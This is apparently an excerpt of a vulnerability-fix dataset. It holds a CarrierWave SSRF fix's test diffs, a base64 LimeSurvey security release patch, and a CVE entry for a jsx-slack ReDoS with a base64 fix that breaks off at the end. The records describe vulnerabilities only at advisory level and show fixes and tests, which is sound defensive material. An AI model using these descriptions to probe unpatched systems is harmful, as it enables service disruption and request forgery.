diff --git a/spec/downloader/remote_file_spec.rb b/spec/downloader/remote_file_spec.rb
index 5ea9915a9..c61aae3e1 100644
--- a/spec/downloader/remote_file_spec.rb
+++ b/spec/downloader/remote_file_spec.rb
@@ -1,23 +1,61 @@
 require 'spec_helper'
 
 describe CarrierWave::Downloader::RemoteFile do
+  subject { CarrierWave::Downloader::RemoteFile.new(file) }
   let(:file) do
-    File.open(file_path("test.jpg")).tap { |f| OpenURI::Meta.init(f) }
+    Net::HTTPSuccess.new('1.0', '200', "").tap do |response|
+      response.body = File.read(file_path("test.jpg"))
+      response.instance_variable_set(:@read, true)
+      response.uri = URI.parse 'http://example.com/test'
+      response['content-type'] = 'image/jpeg'
+      response['vary'] = 'Accept-Encoding'
+    end
   end
-  subject { CarrierWave::Downloader::RemoteFile.new(file) }
 
-  before do
-    subject.base_uri = URI.parse 'http://example.com/test'
-    subject.meta_add_field 'content-type', 'image/jpeg'
+  context 'with Net::HTTPResponse instance' do
+    it 'returns content type' do
+      expect(subject.content_type).to eq 'image/jpeg'
+    end
+
+    it 'returns header' do
+      expect(subject.headers['vary']).to eq 'Accept-Encoding'
+    end
+
+    it 'returns URI' do
+      expect(subject.uri.to_s).to eq 'http://example.com/test'
+    end
   end
 
-  it 'sets file extension based on content-type if missing' do
-    expect(subject.original_filename).to eq "test.jpeg"
+  context 'with OpenURI::Meta instance' do
+    let(:file) do
+      File.open(file_path("test.jpg")).tap { |f| OpenURI::Meta.init(f) }.tap do |file|
+        file.base_uri = URI.parse 'http://example.com/test'
+        file.meta_add_field 'content-type', 'image/jpeg'
+        file.meta_add_field 'vary', 'Accept-Encoding'
+      end
+    end
+    it 'returns content type' do
+      expect(subject.content_type).to eq 'image/jpeg'
+    end
+
+    it 'returns header' do
+      expect(subject.headers['vary']).to eq 'Accept-Encoding'
+    end
+
+    it 'returns URI' do
+      expect(subject.uri.to_s).to eq 'http://example.com/test'
+    end
   end
 
-  describe 'with content-disposition' do
+
+  describe '#original_filename' do
+    let(:content_disposition){ nil }
     before do
-      subject.meta_add_field 'content-disposition', content_disposition
+      file['content-disposition'] = content_disposition if content_disposition
+    end
+
+    it 'sets file extension based on content-type if missing' do
+      expect(subject.original_filename).to eq "test.jpeg"
     end
 
     context 'when filename is quoted' do
diff --git a/spec/mount_multiple_spec.rb b/spec/mount_multiple_spec.rb
index 6a679b02f..9e71f8a44 100644
--- a/spec/mount_multiple_spec.rb
+++ b/spec/mount_multiple_spec.rb
@@ -504,7 +504,7 @@ def monkey
     describe "#remote_images_urls" do
       subject { instance.remote_images_urls }
 
-      before { stub_request(:get, "www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub)) }
+      before { stub_request(:get, "http://www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub)) }
 
       context "returns nil" do
         it { is_expected.to be_nil }
@@ -521,7 +521,7 @@ def monkey
       subject(:images) { instance.images }
 
       before do
-        stub_request(:get, "www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
+        stub_request(:get, "http://www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
         stub_request(:get, "http://www.example.com/test.txt").to_return(status: 404)
         instance.remote_images_urls = remote_images_url
       end
@@ -733,7 +733,7 @@ def extension_whitelist
 
         context "when file was downloaded" do
           before do
-            stub_request(:get, "www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
+            stub_request(:get, "http://www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
             instance.remote_images_urls = ["http://www.example.com/#{test_file_name}"]
           end
 
@@ -790,7 +790,7 @@ def monkey
 
         context "when file was downloaded" do
           before do
-            stub_request(:get, "www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
+            stub_request(:get, "http://www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
             instance.remote_images_urls = ["http://www.example.com/#{test_file_name}"]
           end
 
@@ -803,8 +803,8 @@ def monkey
       subject(:images_download_errors) { instance.images_download_errors }
 
       before do
-        stub_request(:get, "www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
-        stub_request(:get, "www.example.com/missing.jpg").to_return(status: 404)
+        stub_request(:get, "http://www.example.com/#{test_file_name}").to_return(body: File.read(test_file_stub))
+        stub_request(:get, "http://www.example.com/missing.jpg").to_return(status: 404)
       end
 
       describe "default behaviour" do
@@ -978,7 +978,7 @@ def extension_whitelist
 
     context "when a downloaded image fails an integity check" do
       before do
-        stub_request(:get, "www.example.com/#{test_file_name}").to_return(body: test_file_stub)
+        stub_request(:get, "http://www.example.com/#{test_file_name}").to_return(body: test_file_stub)
       end
 
       it { expect(running {instance.remote_images_urls = ["http://www.example.com/#{test_file_name}"]}).to raise_error(CarrierWave::IntegrityError) }
@@ -1010,7 +1010,7 @@ def monkey
 
     context "when a downloaded image fails an integity check" do
       before do
-        stub_request(:get, "www.example.com/#{test_file_name}").to_return(body: test_file_stub)
+        stub_request(:get, "http://www.example.com/#{test_file_name}").to_return(body: test_file_stub)
       end
 
       it { expect(running {instance.remote_images_urls = ["http://www.example.com/#{test_file_name}"]}).to raise_error(CarrierWave::ProcessingError) }
diff --git a/spec/mount_single_spec.rb b/spec/mount_single_spec.rb
index 1391b97d3..1743de959 100644
--- a/spec/mount_single_spec.rb
+++ b/spec/mount_single_spec.rb
@@ -299,7 +299,7 @@ def default_url
 
     describe "#remote_image_url" do
       before do
-        stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+        stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
       end
 
       it "returns nil" do
@@ -334,7 +334,7 @@ def default_url
 
     describe "#remote_image_url=" do
       before do
-        stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+        stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
       end
 
       it "does nothing when nil is assigned" do
@@ -476,7 +476,7 @@ def extension_whitelist
         end
 
         it "should be an error instance if file was downloaded" do
-          stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+          stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
           @instance.remote_image_url = "http://www.example.com/test.jpg"
           e = @instance.image_integrity_error
 
@@ -521,7 +521,7 @@ def monkey
         end
 
         it "should be an error instance if file was downloaded" do
-          stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+          stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
           @instance.remote_image_url = "http://www.example.com/test.jpg"
 
           expect(@instance.image_processing_error).to be_an_instance_of(CarrierWave::ProcessingError)
@@ -531,8 +531,8 @@ def monkey
 
     describe '#image_download_error' do
       before do
-        stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
-        stub_request(:get, "www.example.com/missing.jpg").to_return(status: 404)
+        stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+        stub_request(:get, "http://www.example.com/missing.jpg").to_return(status: 404)
       end
 
       it "should be nil by default" do
@@ -552,8 +552,8 @@ def monkey
 
     describe '#image_download_error' do
       before do
-        stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
-        stub_request(:get, "www.example.com/missing.jpg").to_return(status: 404)
+        stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+        stub_request(:get, "http://www.example.com/missing.jpg").to_return(status: 404)
       end
 
       it "should be nil by default" do
@@ -708,7 +708,7 @@ def extension_whitelist
     end
 
     it "should raise an error if the image fails an integrity check when downloaded" do
-      stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+      stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
 
       expect(running {
         @instance.remote_image_url = "http://www.example.com/test.jpg"
@@ -742,7 +742,7 @@ def monkey
     end
 
     it "should raise an error if the image fails to be processed when downloaded" do
-      stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+      stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
 
       expect(running {
         @instance.remote_image_url = "http://www.example.com/test.jpg"
diff --git a/spec/orm/activerecord_spec.rb b/spec/orm/activerecord_spec.rb
index 339267a21..c5e97d56e 100644
--- a/spec/orm/activerecord_spec.rb
+++ b/spec/orm/activerecord_spec.rb
@@ -496,7 +496,7 @@ def monkey
 
     describe "#remote_image_url=" do
       before do
-        stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+        stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
       end
 
       # FIXME ideally image_changed? and remote_image_url_changed? would return true
@@ -1260,7 +1260,7 @@ def monkey
 
     describe "#remote_images_urls=" do
       before do
-        stub_request(:get, "www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
+        stub_request(:get, "http://www.example.com/test.jpg").to_return(body: File.read(file_path("test.jpg")))
       end
 
       # FIXME ideally images_changed? and remote_images_urls_changed? would return true
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index f17472000..b5eb5de12 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -111,6 +111,14 @@ def color_of_pixel(path, x, y)
         image.run_command("convert", "#{image.path}[1x1+#{x}+#{y}]", "-depth", "8", "txt:").split("\n")[1]
       end
     end
+
+    module SsrfProtectionAwareWebMock
+      def stub_request(method, uri)
+        uri = URI.parse(uri) if uri.is_a?(String)
+        uri.hostname = Resolv.getaddress(uri.hostname) if uri.is_a?(URI)
+        super
+      end
+    end
   end
 end
 
@@ -120,6 +128,7 @@ def color_of_pixel(path, x, y)
   config.include CarrierWave::Test::MockStorage
   config.include CarrierWave::Test::I18nHelpers
   config.include CarrierWave::Test::ManipulationHelpers
+  config.prepend CarrierWave::Test::SsrfProtectionAwareWebMock
   if RUBY_ENGINE == 'jruby'
     config.filter_run_excluding :rmagick => true
   end
diff --git a/spec/uploader/download_spec.rb b/spec/uploader/download_spec.rb
index e3bfba265..ec29169c1 100644
--- a/spec/uploader/download_spec.rb
+++ b/spec/uploader/download_spec.rb
@@ -15,8 +15,8 @@
     before do
       allow(CarrierWave).to receive(:generate_cache_id).and_return(cache_id)
 
-      stub_request(:get, "www.example.com/#{test_file_name}")
-        .to_return(body: test_file)
+      stub_request(:get, "http://www.example.com/#{test_file_name}")
+        .to_return(body: test_file, headers: {'content-type': 'image/jpeg'})
     end
 
     context "when a file was downloaded" do
@@ -48,6 +48,10 @@
       it "sets the url" do
         expect(uploader.url).to eq("/uploads/tmp/#{cache_id}/#{test_file_name}")
       end
+
+      it "sets the content type" do
+        expect(uploader.content_type).to eq("image/jpeg")
+      end
     end
 
     context "with directory permissions set" do", "url": "https://github.com/carrierwaveuploader/carrierwave/commit/012702eb3ba1663452aa025831caa304d1a665c0.patch" } ]
CWE-918: Server-Side Request Forgery (SSRF)
GHSA-jhh2-vhmg-x3cq
null
[ { "commit_message": "[PATCH] Release 3.17.14+190902 application/config/version.php | 4 ++-- docs/release_notes.txt | 40 ++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSA1ODcwZmQxMDM3MDU4YmM0ZTQzY2NjZjg5M2I1NzZjNzIyOTMzNzFlIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBsYWNyaW9xdWUgPGZsdWVyLm1hcmt1c0Bnb29nbGVtYWlsLmNvbT4KRGF0ZTogTW9uLCAyIFNlcCAyMDE5IDEwOjQzOjEwICswMjAwClN1YmplY3Q6IFtQQVRDSF0gUmVsZWFzZSAzLjE3LjE0KzE5MDkwMgoKLS0tCiBhcHBsaWNhdGlvbi9jb25maWcvdmVyc2lvbi5waHAgfCAgNCArKy0tCiBkb2NzL3JlbGVhc2Vfbm90ZXMudHh0ICAgICAgICAgfCA0MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrCiAyIGZpbGVzIGNoYW5nZWQsIDQyIGluc2VydGlvbnMoKyksIDIgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvYXBwbGljYXRpb24vY29uZmlnL3ZlcnNpb24ucGhwIGIvYXBwbGljYXRpb24vY29uZmlnL3ZlcnNpb24ucGhwCmluZGV4IGZhY2ExN2ZhNjIzLi5iNGZiNDcxNGNkZCAxMDA2NDQKLS0tIGEvYXBwbGljYXRpb24vY29uZmlnL3ZlcnNpb24ucGhwCisrKyBiL2FwcGxpY2F0aW9uL2NvbmZpZy92ZXJzaW9uLnBocApAQCAtMTIsOSArMTIsOSBAQAogICovCiAKIAotJGNvbmZpZ1sndmVyc2lvbm51bWJlciddID0gJzMuMTcuMTMnOworJGNvbmZpZ1sndmVyc2lvbm51bWJlciddID0gJzMuMTcuMTQnOwogJGNvbmZpZ1snZGJ2ZXJzaW9ubnVtYmVyJ10gPSAzNTk7CiAkY29uZmlnWydidWlsZG51bWJlciddID0gJyc7CiAkY29uZmlnWyd1cGRhdGFibGUnXSA9IHRydWU7Ci0kY29uZmlnWydhc3NldHN2ZXJzaW9ubnVtYmVyJ10gPSAnMzAwOTUnOworJGNvbmZpZ1snYXNzZXRzdmVyc2lvbm51bWJlciddID0gJzMwMDk2JzsKIHJldHVybiAkY29uZmlnOwpkaWZmIC0tZ2l0IGEvZG9jcy9yZWxlYXNlX25vdGVzLnR4dCBiL2RvY3MvcmVsZWFzZV9ub3Rlcy50eHQKaW5kZXggYTM3MTg4MDQzMTYuLjk1OTkzYWFmZjIwIDEwMDY0NAotLS0gYS9kb2NzL3JlbGVhc2Vfbm90ZXMudHh0CisrKyBiL2RvY3MvcmVsZWFzZV9ub3Rlcy50eHQKQEAgLTM0LDYgKzM0LDQ2IEBAIFRoYW5rIHlvdSB0byBldmVyeW9uZSB3aG8gaGVscGVkIHdpdGggdGhpcyBuZXcgcmVsZWFzZSEKIAogQ0hBTkdFIExPRwogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCitDaGFuZ2VzIGZyb20gMy4xNy4xMyAoYnVpbGQgMTkwODI0KSB0byAzLjE3LjE0IChidWlsZCAxOTA5MDIpIFNlcHRlbWJlciAyLCAyMDE5CistRml4ZWQgaXNzdWU6IHNldHRpbmcgIlNob3cgaGVhZGVyIGluIGFuc3dlcnMgZXhwb3J0IFBERnMiIG5vdCB0YWtlbiBpbiBhY2NvdW50IChMb3Vpc0dhYykKKy1GaXhlZCBpc3N1ZTogW3NlY3VyaXR5XVhTUyBpbiBhZG1pbiBib3ggYnV0dG9ucyAtIGtpbmRseSByZXBvcnRlZCBieSBQYXZvbCBNaWNoYWxlYyAmIEZyZWRlcmlrIEtvxL5iw61rIChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV1YTUwgYnJlYWtvdXQgcG9zc2libGUgb24gZXhwb3J0IC0ga2luZGx5IHJlcG9ydGVkIGJ5IFBhdm9sIE1pY2hhbGVjICYgRnJlZGVyaWsgS2/EvmLDrWsgKENhcnN0ZW4gU2NobWl0eikKKy1GaXhlZCBpc3N1ZTogW3NlY3VyaXR5XVgtRnJhbWUtT3B0aW9ucyBTQU1FT1JJR0lOIG5vdCBzZXQgYnkgZGVmYXVsdCAtIGtpbmRseSByZXBvcnRlZCBieSBQYXZvbCBNaWNoYWxlYyAmIEZyZWRlcmlrIEtvxL5iw61rIChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV1Vc2VyIHVuYXdhcmUgdGhhdCBTU0wgZW5jcnlwdGlvbiBzaG91bGQgYmUgZW5mb3JjZWQgKENhcnN0ZW4gU2NobWl0eikKKy1GaXhlZCBpc3N1ZTogW3NlY3VyaXR5XVBhdGggcmV2ZWxhdGlvbiAoQ2Fyc3RlbiBTY2htaXR6KQorLUZpeGVkIGlzc3VlOiBbc2VjdXJpdHldTERBUCBsb2dpbiBub24tZ2VuZXJpYyBsb2dpbiBtZXNzYWdlIC0ga2luZGx5IHJlcG9ydGVkIGJ5IFBhdm9sIE1pY2hhbGVjICYgRnJlZGVyaWsgS2/EvmLDrWsgKENhcnN0ZW4gU2NobWl0eikKKy1GaXhlZCBpc3N1ZTogW3NlY3VyaXR5XUxEQVAgbG9naW4gbm9uLWdlbmVyaWMgbG9naW4gbWVzc2FnZSAtIGtpbmRseSByZXBvcnRlZCBieSBQYXZvbCBNaWNoYWxlYyAmIEZyZWRlcmlrIEtvxL5iw61rIChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV1FcXVhdGlvbiBzaWducyBhcmUgbm90IG1hc2tlZCBieSBkZWZhdWx0IG9uIGRhdGEgZXhwb3J0IChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV1FcXVhdGlvbiBzaWducyBhcmUgbm90IG1hc2tlZCBieSBkZWZhdWx0IG9uIGRhdGEgZXhwb3J0IChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV1DU1JGIGNvb2tpZSBtaXNzaW5nIEhUVFAgb25seSBwYXJhbWV0ZXItIGtpbmRseSByZXBvcnRlZCBieSBQYXZvbCBNaWNoYWxlYyAmIEZyZWRlcmlrIEtvxL5iw61rIChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV1BZG1pbiB1c2VyIHdpdGhvdXQgcGVybWlzc2lvbnMgY2FuIHN0aWxsIHNlZSBwbHVnaW5zIHBhZ2UgLSBraW5kbHkgcmVwb3J0ZWQgYnkgUGF2b2wgTWljaGFsZWMgJiBGcmVkZXJpayBLb8S+YsOtayAoQ2Fyc3RlbiBTY2htaXR6KQorLUZpeGVkIGlzc3VlOiBbc2VjdXJpdHldQWRtaW4gdXNlciB3aXRoIHNldHRpbmdzIHBlcm1pc3Npb25zIGNhbiBjYW4gcnVuIGludGVncml0eSBjaGVjayAtIGtpbmRseSByZXBvcnRlZCBieSBQYXZvbCBNaWNoYWxlYyAmIEZyZWRlcmlrIEtvxL5iw61rIChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV1BZG1pbiB1c2VyIHdpdGggbGltaXRlZCBwZXJtaXNzaW9ucyBjYW4gdmlldy91cGRhdGUvZGVsZXRlIHJlc2VydmVkIG1lbnUgZW50cmllcyAoQ2Fyc3RlbiBTY2htaXR6KQorLUZpeGVkIGlzc3VlOiBbc2VjdXJpdHldQWRtaW4gdXNlciBjYW4gbWFyayBvdGhlciB1c2VyIG5vdGlmaWNhdGlvbiBhcyByZWFkIChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IFtzZWN1cml0eV0gRGF0YWJhc2UgYmFja3VwIHVzZXMgYnJvd3NlciBjYWNoZSAoQ2Fyc3RlbiBTY2htaXR6KQorLUZpeGVkIGlzc3VlOiBbc2VjdXJpdHldIEJyb3dzZXIgY2FjaGUgdXNlZCBmb3IgZXhwb3J0cyAoQ2Fyc3RlbiBTY2htaXR6KQorLUZpeGVkIGlzc3VlOiBbc2VjdXJpdHldICMxNTIwNDogU3RvcmVkIFhTUyB2dWxuZXJhYmlsaXRpZXMgLSBUaGFua3MgdG8gSi4gR3JlaWwgZnJvbSB0aGUgU0VDIENvbnN1bHQgVnVsbmVyYWJpbGl0eSBMYWIgKGh0dHBzOi8vd3d3LnNlYy1jb25zdWx0LmNvbSkgKERlbmlzIENoZW51KQorLUZpeGVkIGlzc3VlOiBbc2VjdXJpdHldICMxNTIwNDogUmVmbGVjdGVkIFhTUyB2dWxuZXJhYmlsaXRpZXMgLSB0aGFua3MgdG8gSi4gR3JlaWwgZnJvbSAgdGhlICBTRUMgIENvbnN1bHQgVnVsbmVyYWJpbGl0eSBMYWIgKERlbmlzIENoZW51KQorLUZpeGVkIGlzc3VlOiBTdXJ2ZXkgdXBsb2FkIHNlbGYtcmVmbGVjdGluZyBYU1MgKENhcnN0ZW4gU2NobWl0eikKKy1GaXhlZCBpc3N1ZTogU2lkZWJhciBub3Qgd29ya2luZyBvbiBJRTExIChsYWNyaW9xdWUpCistRml4ZWQgaXNzdWU6IE1lbW9yeSBpc3N1ZXMgaWYgdG9vIG1hbnkgcmVzcG9uc2VzIGV4aXN0IGZvciB0aGUgc2FtZSB0b2tlbiBpbiBhIG5vbi1hbm9ueW1vdXMgc3VydmV5IChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IE1lbW9yeSBpc3N1ZXMgaWYgdG9vIG1hbnkgcmVzcG9uc2VzIGV4aXN0IGZvciB0aGUgc2FtZSB0b2tlbiBpbiBhIG5vbi1hbm9ueW1vdXMgc3VydmV5IChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWU6IExzVHV0b3JpYWwgb25seSB3b3JraW5nIGluIGRlYnVnIG1vZGUgKGxhY3Jpb3F1ZSkKKy1GaXhlZCBpc3N1ZTogTGFuZ3VhZ2Ugbm90IHVwZGF0ZWQgb24gaW1wb3J0IGFuZCBvdmVyd3JpdGUgaW4gQ1BEQiAobGFjcmlvcXVlKQorLUZpeGVkIGlzc3VlOiBKUyBlcnJvciBpbiBmaXJzdFN0YXJ0VG91ciBvblNob3cgY29kZSAoIzEzMTUpIChNYXJ0aW4gVW5rZWwpCistRml4ZWQgaXNzdWU6IEFmdGVyIHN1cnZleSBhY3RpdmF0aW9uIHRoZSBFeHByZXNzaW9uTWFuYWdlciBjYWNoZSB3YXMgbm90IHVwZGF0ZWQgKENhcnN0ZW4gU2NobWl0eikKKy1GaXhlZCBpc3N1ZSAjMTUyMTI6IFN1cnZleSBuYXZpZ2F0aW9uIHNob3dzIG1lc3NhZ2UgIlBsZWFzZSB1c2UgdGhlIHN1cnZleSBuYXZpZ2F0aW9uIGJ1dHRvbnMuLi5bXSIgaW5zdGVhZCBvZiBuYXZpZ2F0aW5nIChDYXJzdGVuIFNjaG1pdHopCistRml4ZWQgaXNzdWUgIzE1MjA5OiA1MDAgZXJyb3Igd2hlbiB0cnkgdG8gc2F2ZSBsb25nIGFkbWluaXN0cmF0b3IgbmFtZSAoRGVuaXMgQ2hlbnUpCistRml4ZWQgaXNzdWUgIzE1MjA4OiBNU1NRTCBlcnJvciBvbiAybmQgcGFnZSBvZiB0aGVtZSAoRGVuaXMgQ2hlbnUpCistRml4ZWQgaXNzdWUgIzE1MTk5OiBNU1NRTCA6IGRhdGUvdGltZSBxdWVzdGlvbiBhcmUgbm90IHJlbG9hZGVkIHByb3Blcmx5IChEZW5pcyBDaGVudSkKKy1GaXhlZCBpc3N1ZSAjMTUxOTc6IFN1Ym1pdHRpbmcgZW1wdHkgbWVudSBlbnRyeSBjcmFzaGVzIGFwcGxpY2F0aW9uICggQXBwbGljYXRpb24gRGVuaWFsIG9mIFNlcnZpY2UpIChsYWNyaW9xdWUpCistRml4ZWQgaXNzdWUgIzE1MTk0OiBVbmFibGUgdG8gcmVtb3ZlIHBhZ2UgdGl0bGUgZnJvbSBQREYgZ2VuZXJhdGVkIGF0ICJwcmludCBhbnN3ZXJzIiBzY3JlZW4gKExvdWlzR2FjKQorLUZpeGVkIGlzc3VlICMxNTE5MjogZW50ZXJpbmcgaHRtbCBjb2RlIGluc2lkZSB0aGUgYW5zd2Vyb3B0aW9ucyBmb3IgTGlzdCB0eXBlIHF1ZXN0aW9ucyB3aWxsIGJyZWFrL2FsdGVyIHRoZSBodG1sIGZvciBlZGl0aW5nIGFuc3dlcnMgKFBhdHJpY2sgVGVpY2htYW5uKQorLUZpeGVkIGlzc3VlICMxNTE4ODogQWNjZXNzIExhYmVsIHNldHMgbGlzdCAobGFjcmlvcXVlKQorLUZpeGVkIGlzc3VlICMxNDg2MzogRXh0ZW5kaW5nIGNvcmUgdGhlbWUgdXNpbmcgdGhlIHNhbWUgY29yZSB0aGVtZSBuYW1lIChFZGR5IExhY2ttYW5uKQorLUZpeGVkIGlzc3VlICMxMDE2ODogQ29tbWl0IHRlc3QhIElnbm9yZSAoQ2Fyc3RlbiBTY2htaXR6KQorLU5ldyB0cmFuc2xhdGlvbjogRmlsaXBpbm8gKENhcnN0ZW4gU2NobWl0eikKKwogQ2hhbmdlcyBmcm9tIDMuMTcuMTIgKGJ1aWxkIDE5MDgyMykgdG8gMy4xNy4xMyAoYnVpbGQgMTkwODI0KSBBdWd1c3QgMjQsIDIwMTkKIC1GaXhlZCBpc3N1ZSAjMTUxODU6IFN1cnZleXMgd2l0aCBsZXNzIG9yIG1vcmUgdGhlbiA0LTYgZGlnaXRzIHdpbGwgbm90IGRpc3BsYXkgdGhlIHNpZGVwYW5lbCAoUGF0cmljayBUZWljaG1hbm4p", "url": "https://github.com/LimeSurvey/LimeSurvey/commit/5870fd1037058bc4e43cccf893b576c72293371e.patch" } ]
null
CVE-2021-43838
Regular Expression Denial of Service (ReDoS) in jsx-slack
jsx-slack is a library for building JSON objects for Slack Block Kit surfaces from JSX. In versions prior to 4.5.1 users are vulnerable to a regular expression denial-of-service (ReDoS) attack. If attacker can put a lot of JSX elements into `<blockquote>` tag, an internal regular expression for escaping characters may consume an excessive amount of computing resources. jsx-slack v4.5.1 has patched to a regex for escaping blockquote characters. Users are advised to upgrade as soon as possible.
[ { "commit_message": "[PATCH 1/3] Add performance test for blockquote tag rendering test/mrkdwn.tsx | 15 +++++++++++++++ 1 file changed, 15 insertions(+)", "patch_text_b64": "RnJvbSA5ZWIzYWE3ZGJjZTFlNGFkODU4MWUzM2U2MTM5ZmU1ZjkxMjU1OTBmIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBZdWtpIEhhdHRvcmkgPHl1a2loYXR0b3JpMTExNkBnbWFpbC5jb20+CkRhdGU6IEZyaSwgMTcgRGVjIDIwMjEgMDI6Mjc6MDYgKzA5MDAKU3ViamVjdDogW1BBVENIIDEvM10gQWRkIHBlcmZvcm1hbmNlIHRlc3QgZm9yIGJsb2NrcXVvdGUgdGFnIHJlbmRlcmluZwoKLS0tCiB0ZXN0L21ya2R3bi50c3ggfCAxNSArKysrKysrKysrKysrKysKIDEgZmlsZSBjaGFuZ2VkLCAxNSBpbnNlcnRpb25zKCspCgpkaWZmIC0tZ2l0IGEvdGVzdC9tcmtkd24udHN4IGIvdGVzdC9tcmtkd24udHN4CmluZGV4IGE0Y2MwODZmLi5mNmU0ZTYwNCAxMDA2NDQKLS0tIGEvdGVzdC9tcmtkd24udHN4CisrKyBiL3Rlc3QvbXJrZHduLnRzeApAQCAtNTg3LDYgKzU4NywyMSBAQCBkZXNjcmliZSgnSFRNTCBwYXJzZXIgZm9yIG1ya2R3bicsICgpID0+IHsKICAgICAgICkudG9CZSgnJmd0OyAqQSpcbiZndDsgXG4mZ3Q7ICpfQl8qXG4mZ3Q7IFxuJmd0OyAqQypcbiZndDsgJykKICAgICB9KQogCisgICAgaXQoJ3JlbmRlcnMgbWFueSB0YWdzIGluIHRoZSBibG9ja3F1b3RlIHRhZyBpbW1lZGlhdGVseScsICgpID0+IHsKKyAgICAgIGNvbnN0IHN0YXJ0VGltZSA9IERhdGUubm93KCkKKworICAgICAgbXJrZHduKAorICAgICAgICA8YmxvY2txdW90ZT4KKyAgICAgICAgICB7Wy4uLkFycmF5KDMwKV0ubWFwKChfLCBpKSA9PiAoCisgICAgICAgICAgICA8Yj57aX08L2I+CisgICAgICAgICAgKSl9CisgICAgICAgIDwvYmxvY2txdW90ZT4KKyAgICAgICkKKworICAgICAgY29uc3QgcHJvY2Vzc1RpbWUgPSBEYXRlLm5vdygpIC0gc3RhcnRUaW1lCisgICAgICBleHBlY3QocHJvY2Vzc1RpbWUpLnRvQmVMZXNzVGhhbigxMDAwKQorICAgIH0pCisKICAgICBpdCgnaWdub3JlcyBpbnZhbGlkIGRvdWJsZSBtYXJrdXAnLCAoKSA9PgogICAgICAgZXhwZWN0KAogICAgICAgICBtcmtkd24oCgpGcm9tIDllYWNlMDk1NmRlZGY5NTc0OGVjNThmNGQwYmQ5YjBjYzJmYWJjMWMgTW9uIFNlcCAxNyAwMDowMDowMCAyMDAxCkZyb206IFl1a2kgSGF0dG9yaSA8eXVraWhhdHRvcmkxMTE2QGdtYWlsLmNvbT4KRGF0ZTogRnJpLCAxNyBEZWMgMjAyMSAwMjozNDozOSArMDkwMApTdWJqZWN0OiBbUEFUQ0ggMi8zXSBGaXggcGVyZm9ybWFuY2UgaXNzdWVzIG9mIHRhZ3MgaW4gYmxvY2txdW90ZQoKLS0tCiBzcmMvbXJrZHduL2VzY2FwZS50cyB8IDUgKystLS0KIDEgZmlsZSBjaGFuZ2VkLCAyIGluc2VydGlvbnMoKyksIDMgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvc3JjL21ya2R3bi9lc2NhcGUudHMgYi9zcmMvbXJrZHduL2VzY2FwZS50cwppbmRleCBjNjYzNGU4Yy4uNTcwMmM1ZjAgMTAwNjQ0Ci0tLSBhL3NyYy9tcmtkd24vZXNjYXBlLnRzCisrKyBiL3NyYy9tcmtkd24vZXNjYXBlLnRzCkBAIC04LDkgKzgsOCBAQCBjb25zdCBnZW5lcmF0ZVJlcGxhY2VyRm9yRXNjYXBlID0gKGZhbGxiYWNrOiBzdHJpbmcpID0+IChtYXRjaGVkOiBzdHJpbmcpID0+CiBleHBvcnQgY29uc3QgZXNjYXBlUmVwbGFjZXJzID0gewogICBibG9ja3F1b3RlOiAocGFydGlhbDogc3RyaW5nKSA9PgogIC